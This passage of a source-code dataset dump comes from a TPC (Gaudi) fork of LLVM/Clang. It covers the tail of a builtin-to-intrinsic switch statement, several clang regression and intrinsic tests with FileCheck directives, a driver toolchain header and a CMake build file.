TPC::BIv_u32_sel2_grt_i32_b:\n case TPC::BIv_u32_sel2_grt_u32_vb:\n case TPC::BIv_u32_sel2_grt_u32_b:\n case TPC::BIv_i16_sel2_grt_bf16_vb:\n case TPC::BIv_i16_sel2_grt_bf16_b:\n case TPC::BIv_i16_sel2_grt_i16_vb:\n case TPC::BIv_i16_sel2_grt_i16_b:\n case TPC::BIv_i16_sel2_grt_u16_vb:\n case TPC::BIv_i16_sel2_grt_u16_b:\n case TPC::BIv_u16_sel2_grt_bf16_vb:\n case TPC::BIv_u16_sel2_grt_bf16_b:\n case TPC::BIv_u16_sel2_grt_i16_vb:\n case TPC::BIv_u16_sel2_grt_i16_b:\n case TPC::BIv_u16_sel2_grt_u16_vb:\n case TPC::BIv_u16_sel2_grt_u16_b:\n case TPC::BIv_i8_sel2_grt_i8_vb:\n case TPC::BIv_i8_sel2_grt_i8_b:\n case TPC::BIv_i8_sel2_grt_u8_vb:\n case TPC::BIv_i8_sel2_grt_u8_b:\n case TPC::BIv_u8_sel2_grt_i8_vb:\n case TPC::BIv_u8_sel2_grt_i8_b:\n case TPC::BIv_u8_sel2_grt_u8_vb:\n case TPC::BIv_u8_sel2_grt_u8_b:\n // fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel2_grt);\n\n case TPC::BIv_f32_sel2_geq_f32_vb:\n case TPC::BIv_f32_sel2_geq_f32_b:\n case TPC::BIv_f32_sel2_geq_i32_vb:\n case TPC::BIv_f32_sel2_geq_i32_b:\n case TPC::BIv_f32_sel2_geq_u32_vb:\n case TPC::BIv_f32_sel2_geq_u32_b:\n case TPC::BIv_bf16_sel2_geq_bf16_b:\n case TPC::BIv_bf16_sel2_geq_bf16_vb:\n case TPC::BIv_bf16_sel2_geq_i16_vb:\n case TPC::BIv_bf16_sel2_geq_i16_b:\n case TPC::BIv_bf16_sel2_geq_u16_vb:\n case TPC::BIv_bf16_sel2_geq_u16_b:\n case TPC::BIv_i32_sel2_geq_f32_vb:\n case TPC::BIv_i32_sel2_geq_f32_b:\n case TPC::BIv_i32_sel2_geq_i32_vb:\n case TPC::BIv_i32_sel2_geq_i32_b:\n case TPC::BIv_i32_sel2_geq_u32_vb:\n case TPC::BIv_i32_sel2_geq_u32_b:\n case TPC::BIv_u32_sel2_geq_f32_vb:\n case TPC::BIv_u32_sel2_geq_f32_b:\n case TPC::BIv_u32_sel2_geq_i32_vb:\n case TPC::BIv_u32_sel2_geq_i32_b:\n case TPC::BIv_u32_sel2_geq_u32_vb:\n case TPC::BIv_u32_sel2_geq_u32_b:\n case TPC::BIv_i16_sel2_geq_bf16_vb:\n case TPC::BIv_i16_sel2_geq_bf16_b:\n case TPC::BIv_i16_sel2_geq_i16_vb:\n case TPC::BIv_i16_sel2_geq_i16_b:\n case TPC::BIv_i16_sel2_geq_u16_vb:\n case TPC::BIv_i16_sel2_geq_u16_b:\n case TPC::BIv_u16_sel2_geq_bf16_vb:\n case TPC::BIv_u16_sel2_geq_bf16_b:\n case TPC::BIv_u16_sel2_geq_i16_vb:\n case TPC::BIv_u16_sel2_geq_i16_b:\n case TPC::BIv_u16_sel2_geq_u16_vb:\n case TPC::BIv_u16_sel2_geq_u16_b:\n case TPC::BIv_i8_sel2_geq_i8_vb:\n case TPC::BIv_i8_sel2_geq_i8_b:\n case TPC::BIv_i8_sel2_geq_u8_vb:\n case TPC::BIv_i8_sel2_geq_u8_b:\n case TPC::BIv_u8_sel2_geq_i8_vb:\n case TPC::BIv_u8_sel2_geq_i8_b:\n case TPC::BIv_u8_sel2_geq_u8_vb:\n case TPC::BIv_u8_sel2_geq_u8_b:\n // fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch, Intrinsic::tpc_sel2_geq);\n\n//------ Store slot --------------------------------------------------------\n\n case TPC::BIs_f32_st_l:\n case TPC::BIs_bf16_st_l:\n case TPC::BIs_i32_st_l:\n case TPC::BIs_u32_st_l:\n case TPC::BIs_i8_st_l:\n case TPC::BIs_i16_st_l:\n case TPC::BIs_u16_st_l:\n case TPC::BIs_u8_st_l:\n case TPC::BIs_i1_st_l:\n return emit_ST_L(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_st_g:\n case TPC::BIs_bf16_st_g:\n case TPC::BIs_i32_st_g:\n case TPC::BIs_u32_st_g:\n case TPC::BIs_i16_st_g:\n case TPC::BIs_u16_st_g:\n case TPC::BIs_i8_st_g:\n case TPC::BIs_u8_st_g:\n case TPC::BIs_i1_st_g:\n return emit_ST_G(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_l_v:\n case TPC::BIv_bf16_st_l_v:\n case TPC::BIv_i32_st_l_v:\n case TPC::BIv_u32_st_l_v:\n case TPC::BIv_i16_st_l_v:\n case TPC::BIv_u16_st_l_v:\n case TPC::BIv_i8_st_l_v:\n case TPC::BIv_u8_st_l_v:\n case TPC::BIv_i1_st_l_v:\n return emit_ST_L_V(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_l_v_low:\n case TPC::BIv_bf16_st_l_v_low:\n case TPC::BIv_i32_st_l_v_low:\n case TPC::BIv_u32_st_l_v_low:\n case TPC::BIv_i16_st_l_v_low:\n case TPC::BIv_u16_st_l_v_low:\n case TPC::BIv_i8_st_l_v_low:\n case TPC::BIv_u8_st_l_v_low:\n case TPC::BIv_i1_st_l_v_low:\n return emit_ST_L_V_LOW(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_l_v_high:\n case TPC::BIv_bf16_st_l_v_high:\n case TPC::BIv_i32_st_l_v_high:\n case TPC::BIv_u32_st_l_v_high:\n case TPC::BIv_i16_st_l_v_high:\n case TPC::BIv_u16_st_l_v_high:\n case TPC::BIv_i8_st_l_v_high:\n case TPC::BIv_u8_st_l_v_high:\n case TPC::BIv_i1_st_l_v_high:\n return emit_ST_L_V_HIGH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIaso:\n return emit_ASO(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_tnsr:\n case TPC::BIv_bf16_st_tnsr:\n case TPC::BIv_i32_st_tnsr:\n case TPC::BIv_u32_st_tnsr:\n case TPC::BIv_i16_st_tnsr:\n case TPC::BIv_u16_st_tnsr:\n case TPC::BIv_i8_st_tnsr:\n case TPC::BIv_u8_st_tnsr:\n case TPC::BIv_i1_st_tnsr:\n case TPC::BIv_f32_st_tnsr_rmw:\n case TPC::BIv_bf16_st_tnsr_rmw:\n case TPC::BIv_i32_st_tnsr_rmw:\n case TPC::BIv_u32_st_tnsr_rmw:\n case TPC::BIv_i16_st_tnsr_rmw:\n case TPC::BIv_u16_st_tnsr_rmw:\n case TPC::BIv_i8_st_tnsr_rmw:\n case TPC::BIv_u8_st_tnsr_rmw:\n case TPC::BIv_i1_st_tnsr_rmw:\n case TPC::BIv_f32_st_tnsr_partial:\n case TPC::BIv_bf16_st_tnsr_partial:\n case TPC::BIv_i32_st_tnsr_partial:\n case TPC::BIv_u32_st_tnsr_partial:\n case TPC::BIv_i16_st_tnsr_partial:\n case TPC::BIv_u16_st_tnsr_partial:\n case TPC::BIv_i8_st_tnsr_partial:\n case TPC::BIv_u8_st_tnsr_partial:\n case TPC::BIv_i1_st_tnsr_partial:\n case TPC::BIv_f32_st_tnsr_partial_rmw:\n case TPC::BIv_bf16_st_tnsr_partial_rmw:\n case TPC::BIv_i32_st_tnsr_partial_rmw:\n case TPC::BIv_u32_st_tnsr_partial_rmw:\n case TPC::BIv_i16_st_tnsr_partial_rmw:\n case TPC::BIv_u16_st_tnsr_partial_rmw:\n case TPC::BIv_i8_st_tnsr_partial_rmw:\n case TPC::BIv_u8_st_tnsr_partial_rmw:\n case TPC::BIv_i1_st_tnsr_partial_rmw:\n return emit_ST_TNSR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_tnsr_low:\n case TPC::BIv_bf16_st_tnsr_low:\n case TPC::BIv_i32_st_tnsr_low:\n case TPC::BIv_u32_st_tnsr_low:\n case TPC::BIv_i16_st_tnsr_low:\n case TPC::BIv_u16_st_tnsr_low:\n case TPC::BIv_i8_st_tnsr_low:\n case TPC::BIv_u8_st_tnsr_low:\n case TPC::BIv_i1_st_tnsr_low:\n case TPC::BIv_f32_st_tnsr_low_rmw:\n case TPC::BIv_bf16_st_tnsr_low_rmw:\n case TPC::BIv_i32_st_tnsr_low_rmw:\n case TPC::BIv_u32_st_tnsr_low_rmw:\n case TPC::BIv_i16_st_tnsr_low_rmw:\n case TPC::BIv_u16_st_tnsr_low_rmw:\n case TPC::BIv_i8_st_tnsr_low_rmw:\n case TPC::BIv_u8_st_tnsr_low_rmw:\n case TPC::BIv_i1_st_tnsr_low_rmw:\n return emit_ST_TNSR_LOW(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_st_tnsr_high:\n case TPC::BIv_bf16_st_tnsr_high:\n case TPC::BIv_i32_st_tnsr_high:\n case TPC::BIv_u32_st_tnsr_high:\n case TPC::BIv_i16_st_tnsr_high:\n case TPC::BIv_u16_st_tnsr_high:\n case TPC::BIv_i8_st_tnsr_high:\n case TPC::BIv_u8_st_tnsr_high:\n case TPC::BIv_i1_st_tnsr_high:\n case TPC::BIv_f32_st_tnsr_high_rmw:\n case TPC::BIv_bf16_st_tnsr_high_rmw:\n case TPC::BIv_i32_st_tnsr_high_rmw:\n case TPC::BIv_u32_st_tnsr_high_rmw:\n case TPC::BIv_i16_st_tnsr_high_rmw:\n case TPC::BIv_u16_st_tnsr_high_rmw:\n case TPC::BIv_i8_st_tnsr_high_rmw:\n case TPC::BIv_u8_st_tnsr_high_rmw:\n case TPC::BIv_i1_st_tnsr_high_rmw:\n return emit_ST_TNSR_HIGH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIcache_flush:\n return emit_CACHE_FLUSH(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIcache_invalidate:\n return emit_CACHE_INVALIDATE(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIconvert_int64_to_float64:\n case TPC::BIconvert_uint64_to_float64:\n case TPC::BIconvert_bfloat128_to_float128:\n case TPC::BIconvert_half128_to_float128:\n case TPC::BIconvert_int128_to_float128:\n case TPC::BIconvert_uint128_to_float128:\n case TPC::BIconvert_short128_to_float128:\n case TPC::BIconvert_ushort128_to_float128:\n case TPC::BIconvert_bfloat256_to_float256:\n case TPC::BIconvert_half256_to_float256:\n case TPC::BIconvert_int256_to_float256:\n case TPC::BIconvert_uint256_to_float256:\n case TPC::BIconvert_short256_to_float256:\n case TPC::BIconvert_ushort256_to_float256:\n case TPC::BIconvert_char256_to_float256:\n case TPC::BIconvert_uchar256_to_float256:\n case TPC::BIconvert_float128_to_bfloat128:\n case TPC::BIconvert_half128_to_bfloat128:\n case TPC::BIconvert_int128_to_bfloat128:\n case TPC::BIconvert_uint128_to_bfloat128:\n case TPC::BIconvert_short128_to_bfloat128:\n case TPC::BIconvert_ushort128_to_bfloat128:\n case TPC::BIconvert_float256_to_bfloat256:\n case TPC::BIconvert_half256_to_bfloat256:\n case TPC::BIconvert_int256_to_bfloat256:\n case TPC::BIconvert_uint256_to_bfloat256:\n case TPC::BIconvert_short256_to_bfloat256:\n case TPC::BIconvert_ushort256_to_bfloat256:\n case TPC::BIconvert_char256_to_bfloat256:\n case TPC::BIconvert_uchar256_to_bfloat256:\n case TPC::BIconvert_float128_to_half128:\n case TPC::BIconvert_bfloat128_to_half128:\n case TPC::BIconvert_int128_to_half128:\n case TPC::BIconvert_uint128_to_half128:\n case TPC::BIconvert_short128_to_half128:\n case TPC::BIconvert_ushort128_to_half128:\n case TPC::BIconvert_float256_to_half256:\n case TPC::BIconvert_bfloat256_to_half256:\n case TPC::BIconvert_int256_to_half256:\n case TPC::BIconvert_uint256_to_half256:\n case TPC::BIconvert_short256_to_half256:\n case TPC::BIconvert_ushort256_to_half256:\n case TPC::BIconvert_float64_to_int64:\n case TPC::BIconvert_uint64_to_int64:\n case TPC::BIconvert_float128_to_int128:\n case TPC::BIconvert_bfloat128_to_int128:\n case TPC::BIconvert_half128_to_int128:\n case TPC::BIconvert_uint128_to_int128:\n case TPC::BIconvert_short128_to_int128:\n case TPC::BIconvert_ushort128_to_int128:\n case TPC::BIconvert_float256_to_int256:\n case TPC::BIconvert_bfloat256_to_int256:\n case TPC::BIconvert_half256_to_int256:\n case TPC::BIconvert_uint256_to_int256:\n case TPC::BIconvert_short256_to_int256:\n case TPC::BIconvert_ushort256_to_int256:\n case TPC::BIconvert_char256_to_int256:\n case TPC::BIconvert_uchar256_to_int256:\n case TPC::BIconvert_float64_to_uint64:\n case TPC::BIconvert_int64_to_uint64:\n case TPC::BIconvert_float128_to_uint128:\n case TPC::BIconvert_bfloat128_to_uint128:\n case TPC::BIconvert_half128_to_uint128:\n case TPC::BIconvert_int128_to_uint128:\n case TPC::BIconvert_short128_to_uint128:\n case TPC::BIconvert_ushort128_to_uint128:\n case TPC::BIconvert_float256_to_uint256:\n case TPC::BIconvert_bfloat256_to_uint256:\n case TPC::BIconvert_half256_to_uint256:\n case TPC::BIconvert_int256_to_uint256:\n case TPC::BIconvert_short256_to_uint256:\n case TPC::BIconvert_ushort256_to_uint256:\n case TPC::BIconvert_char256_to_uint256:\n case TPC::BIconvert_uchar256_to_uint256:\n case TPC::BIconvert_float128_to_short128:\n case TPC::BIconvert_bfloat128_to_short128:\n case TPC::BIconvert_half128_to_short128:\n case TPC::BIconvert_int128_to_short128:\n case TPC::BIconvert_uint128_to_short128:\n case TPC::BIconvert_ushort128_to_short128:\n case TPC::BIconvert_float256_to_short256:\n case TPC::BIconvert_bfloat256_to_short256:\n case TPC::BIconvert_half256_to_short256:\n case TPC::BIconvert_int256_to_short256:\n case TPC::BIconvert_uint256_to_short256:\n case TPC::BIconvert_ushort256_to_short256:\n case TPC::BIconvert_char256_to_short256:\n case TPC::BIconvert_uchar256_to_short256:\n case TPC::BIconvert_float128_to_ushort128:\n case TPC::BIconvert_bfloat128_to_ushort128:\n case TPC::BIconvert_half128_to_ushort128:\n case TPC::BIconvert_int128_to_ushort128:\n case TPC::BIconvert_uint128_to_ushort128:\n case TPC::BIconvert_short128_to_ushort128:\n case TPC::BIconvert_float256_to_ushort256:\n case TPC::BIconvert_bfloat256_to_ushort256:\n case TPC::BIconvert_half256_to_ushort256:\n case TPC::BIconvert_int256_to_ushort256:\n case TPC::BIconvert_uint256_to_ushort256:\n case TPC::BIconvert_short256_to_ushort256:\n case TPC::BIconvert_char256_to_ushort256:\n case TPC::BIconvert_uchar256_to_ushort256:\n case TPC::BIconvert_float256_to_char256:\n case TPC::BIconvert_bfloat256_to_char256:\n case TPC::BIconvert_half256_to_char256:\n case TPC::BIconvert_int256_to_char256:\n case TPC::BIconvert_uint256_to_char256:\n case TPC::BIconvert_short256_to_char256:\n case TPC::BIconvert_ushort256_to_char256:\n case TPC::BIconvert_uchar256_to_char256:\n case TPC::BIconvert_float256_to_uchar256:\n case TPC::BIconvert_bfloat256_to_uchar256:\n case TPC::BIconvert_half256_to_uchar256:\n case TPC::BIconvert_int256_to_uchar256:\n case TPC::BIconvert_uint256_to_uchar256:\n case TPC::BIconvert_short256_to_uchar256:\n case TPC::BIconvert_ushort256_to_uchar256:\n case TPC::BIconvert_char256_to_uchar256:\n return emit_CONVERT_TO(CGF, BuiltinID, E, ReturnValue, Arch);\n }\n}\n" }, { "alpha_fraction": 0.46549192070961, "alphanum_fraction": 0.553597629070282, "avg_line_length": 27.375, "blob_id": "9c23e87cd4867d12e9b801116e78422a03e369d7", "content_id": "b17a9b99305ac80b202283e7d8ef90b57f17c0db", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 681, "license_type": "permissive", "max_line_length": 78, "num_lines": 24, "path": "/clang/test/RC99/regression/gaudi-212.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main(tensor ifm, tensor ofm)\n{\n const int5 index_space_start = get_index_space_offset();\n int5 Ind;\n char256 Val;\n Val = 0; //v_i8_ld_tnsr_i_b(Ind, ifm, 1, 0);\n\n const int row0 = index_space_start[2];\n const int row1 = row0 + 1;\n const int row2 = row0 + 2;\n Ind[0] = row1;\n Ind[1] = row1;\n Ind[3] = row2;\n Ind[2] = row0;\n Ind[4] = row0;\n i8_st_tnsr_i_v_b(Ind, ofm, Val, 1, 0);\n}\n\n// CHECK: \tset_indx [[IRF:%I[0-9]+]], b00011, %S{{[0-9]+}}\n// CHECK:\tset_indx [[IRF]], b10100, %S{{[0-9]+}}\n// CHECK:\tset_indx [[IRF]], b01000, %S{{[0-9]+}}\n// CHECK:\tst_tnsr 0x1, [[IRF]], %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.5793901085853577, "alphanum_fraction": 0.6014721393585205, "avg_line_length": 35.57692337036133, "blob_id": "dacd539c8b8d7bc91347f2bfa8590a7b39f030fd", "content_id": "1ab928e96adbaeb8e610d89f25cb179b410c7d63", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 951, "license_type": "permissive", "max_line_length": 102, "num_lines": 26, "path": "/clang/test/RC99/pragma/pragma-loop_unroll-07a.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -ast-dump -std=rc99 -triple tpc %s | FileCheck %s\n// RUN: %clang_cc1 -std=rc99 -triple tpc -S -emit-llvm -O2 %s -o - | FileCheck -check-prefix=LLVMIR %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma loop_unroll(4)\n #pragma loop_taken\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n\n// CHECK: AttributedStmt\n// CHECK-NEXT: LoopHintAttr {{.*}} loop_unroll MachineUnrollCount Numeric\n// CHECK-NEXT: IntegerLiteral {{.*}} 'int' 4\n// CHECK-NEXT: LoopHintAttr {{.*}} loop_taken Taken Enable\n// CHECK-NEXT: <<<NULL>>>\n// CHECK-NEXT: ForStmt\n\n// LLVMIR: br {{.*}} !llvm.loop [[LOOP:![0-9]+]]\n// LLVMIR: [[LOOP]] = distinct !{[[LOOP]], [[COUNT:![0-9]+]], [[TAKEN:![0-9]+]]}\n// LLVMIR: [[COUNT]] = !{!\"llvm.loop.machine.unroll.count\", i32 4}\n// LLVMIR: [[TAKEN]] = !{!\"llvm.loop.taken\", i1 true}\n" }, { "alpha_fraction": 0.6938775777816772, "alphanum_fraction": 0.7091836929321289, "avg_line_length": 38, "blob_id": "9044643000347b370fa0f28c9a6173e2154a4588", "content_id": "456f2490987e13b92207854c18e49ad7d8d8b6b5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 196, "license_type": "permissive", "max_line_length": 85, "num_lines": 5, "path": "/clang/test/RC99/restrictions/vararray.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nvoid main(int array_length) {\n int int_array[array_length]; // expected-error{{variable arrays are not supported}}\n}\n\n" }, { "alpha_fraction": 0.5483304262161255, "alphanum_fraction": 0.6467486619949341, "avg_line_length": 38.2068977355957, "blob_id": "430fab460a453792713151d03a779ebe9002883d", "content_id": "067383596006a45b5137ec42df92d35bb9229500", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1138, "license_type": "permissive", "max_line_length": 157, "num_lines": 29, "path": "/clang/test/RC99/driver/lut-warn/gaudi/lut-warn-correct-bv32_8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S -march=gaudi 2>&1 | FileCheck %s -allow-empty\n\nvoid main(int x0, int x2, int x3, int dest0, int dest1, int dest2, int dest3) {\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uint64 __local *ptr_x1 = (uint64 __local *)x2;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 __local *res1 = (float64 __local *)dest1;\n float64 __local *res2 = (float64 __local *)dest2;\n float64 __local *res3 = (float64 __local *)dest3;\n\n float64 temp_res0 = 0;\n float64 temp_res1 = 0;\n float64 temp_res2 = 0;\n float64 temp_res3 = 0;\n\n temp_res0 = v_f32_lookup_1c_v_b(*ptr_x0, temp_res0, 0, e_fp32_pow2, x3, 0);\n temp_res1 = v_f32_lookup_1c_v_b(*ptr_x1, temp_res0, 2, e_i8_exp_linear, x3, 0);\n temp_res2 = v_f32_lookup_1c_v_b(*ptr_x1, temp_res0, 3, e_i8_tanh_linear, x3, 0);\n temp_res3 = v_f32_lookup_1c_v_b(*ptr_x1, temp_res0, 3, e_i8_sigmoid_linear, x3, 0);\n\n *res0 = temp_res0;\n *res1 = temp_res1;\n *res2 = temp_res2;\n *res3 = temp_res3;\n}\n\n//CHECK-NOT: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Gen2+ architecture, this will cause LUT misses.\n\n" }, { "alpha_fraction": 0.6073883175849915, "alphanum_fraction": 0.6108247637748718, "avg_line_length": 29.63157844543457, "blob_id": "a8f4bd4757c8c8aa3a98dc3e0be50d92a836a17d", "content_id": "d26b0cb87a93927ab12169c022ca3050ec9dfcc1", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1164, "license_type": "permissive", "max_line_length": 80, "num_lines": 38, "path": "/clang/lib/Driver/ToolChains/TPC.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.h - TPC ToolChain Implementations ------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_TPC_H\n#define LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_TPC_H\n\n#include \"Gnu.h\"\n#include \"clang/Driver/Tool.h\"\n#include \"clang/Driver/ToolChain.h\"\n\nnamespace clang {\nnamespace driver {\n\nnamespace toolchains {\n\n#ifdef LLVM_TPC_COMPILER\nclass LLVM_LIBRARY_VISIBILITY TPCToolChain : public Generic_ELF {\nprotected:\npublic:\n TPCToolChain(const Driver &D, const llvm::Triple &Triple,\n const llvm::opt::ArgList &Args);\n bool IsIntegratedAssemblerDefault() const override { return true; }\n Tool *buildLinker() const override;\n};\n#endif\n\n} // end namespace toolchains\n} // end namespace driver\n} // end namespace clang\n\n#endif // LLVM_CLANG_LIB_DRIVER_TOOLCHAINS_TPC_H\n" }, { "alpha_fraction": 0.7555158138275146, "alphanum_fraction": 0.7555158138275146, "avg_line_length": 22.957143783569336, "blob_id": "f9a6c88fc2ad5c796150eca6bbc96fb29bf0ffce", "content_id": "ebc9829b53efc0dbb125d57e58683fb821c31e87", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1677, "license_type": "permissive", "max_line_length": 68, "num_lines": 70, "path": "/llvm/lib/Transforms/IPO/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "add_llvm_component_library(LLVMipo\n AlwaysInliner.cpp\n ArgumentPromotion.cpp\n Attributor.cpp\n BarrierNoopPass.cpp\n BlockExtractor.cpp\n CalledValuePropagation.cpp\n ConstantMerge.cpp\n CrossDSOCFI.cpp\n DeadArgumentElimination.cpp\n ElimAvailExtern.cpp\n ExtractGV.cpp\n ForceFunctionAttrs.cpp\n FunctionAttrs.cpp\n FunctionImport.cpp\n GlobalDCE.cpp\n GlobalOpt.cpp\n GlobalSplit.cpp\n HotColdSplitting.cpp\n IPConstantPropagation.cpp\n IPO.cpp\n InferFunctionAttrs.cpp\n InlineSimple.cpp\n Inliner.cpp\n Internalize.cpp\n LoopExtractor.cpp\n LowerTypeTests.cpp\n MergeFunctions.cpp\n PartialInlining.cpp\n PassManagerBuilder.cpp\n PruneEH.cpp\n SampleProfile.cpp\n SCCP.cpp\n StripDeadPrototypes.cpp\n StripSymbols.cpp\n SyntheticCountsPropagation.cpp\n ThinLTOBitcodeWriter.cpp\n WholeProgramDevirt.cpp\n LinkTPCHeaders.cpp\n\n ADDITIONAL_HEADER_DIRS\n ${LLVM_MAIN_INCLUDE_DIR}/llvm/Transforms\n ${LLVM_MAIN_INCLUDE_DIR}/llvm/Transforms/IPO\n\n DEPENDS\n intrinsics_gen\n )\n\nset(gaudi_tpc_header_files\nTPCHeaders/gaudi/sin.bc\n)\n\nset(output_dir ${CMAKE_CURRENT_BINARY_DIR})\nset(out_files)\n\nfunction(copy_header_to_output_dir src_dir file)\n set(src ${src_dir}/${file})\n set(dst ${output_dir}/${file})\n add_custom_command(OUTPUT ${dst}\n DEPENDS ${src}\n COMMAND ${CMAKE_COMMAND} -E copy_if_different ${src} ${dst}\n COMMENT \"Copying clang's ${file}...\")\n list(APPEND out_files ${dst})\n set(out_files ${out_files} PARENT_SCOPE)\nendfunction(copy_header_to_output_dir)\n\n# Copy header files from the source directory to the build directory\nforeach( f ${files} ${gaudi_tpc_header_files} )\n copy_header_to_output_dir(${CMAKE_CURRENT_SOURCE_DIR} ${f})\nendforeach( f )\n" }, { "alpha_fraction": 0.5048032402992249, "alphanum_fraction": 0.5652308464050293, "avg_line_length": 36.068965911865234, "blob_id": "725dbc74a01accf12f033166199dda9be87b6776", "content_id": "240bcbde7d3ecab2c5add8716d91867c62baa215", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3227, "license_type": "permissive", "max_line_length": 167, "num_lines": 87, "path": "/clang/test/RC99/Intrinsics/v_convert_f32_to_i8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -mllvm -tpc-hwwa-conv-maxint=0 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 -mllvm -tpc-hwwa-conv-maxint=0 %s -o - | FileCheck --check-prefixes=CHECK,GEN23 %s\n\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile char256 __local *dest_ptr = (char256 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n char256 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_f32_to_i8_b\n {\n char256 res = income;\n\n res = v_convert_f32_to_i8_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int8 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i8_b(x, 2, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=2 target_type=int8 rhne [[DEST]], [[SRC]], [[PRED]]\n res = v_convert_f32_to_i8_b(x, 3, 0, res, pred, 1);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=3 target_type=int8 rhne [[DEST]], [[SRC]], ![[PRED]]\n\n res = v_convert_f32_to_i8_b(x, 2, SW_RHNE, res, 1, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=2 target_type=int8 rhne [[DEST]], [[SRC]], %SP0\n\n res = v_convert_f32_to_i8_b(x, 1, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int8 rz [[DEST]], [[SRC]], [[PRED]]\n\n\n#if defined(__gaudi__)\n res = v_convert_f32_to_i8_b(x, 1, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int8 rd [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i8_b(x, 1, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int8 ru [[DEST]], [[SRC]], [[PRED]]\n#endif\n income = res;\n }\n\n // v_convert_f32_to_i8_vb\n {\n char256 res = income;\n\n res = v_convert_f32_to_i8_vb(x, 1, 0, res, vpred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i8_vb(x, 1, 0, res, vpred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i8_vb(x, 2, 0, res, vpred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=2 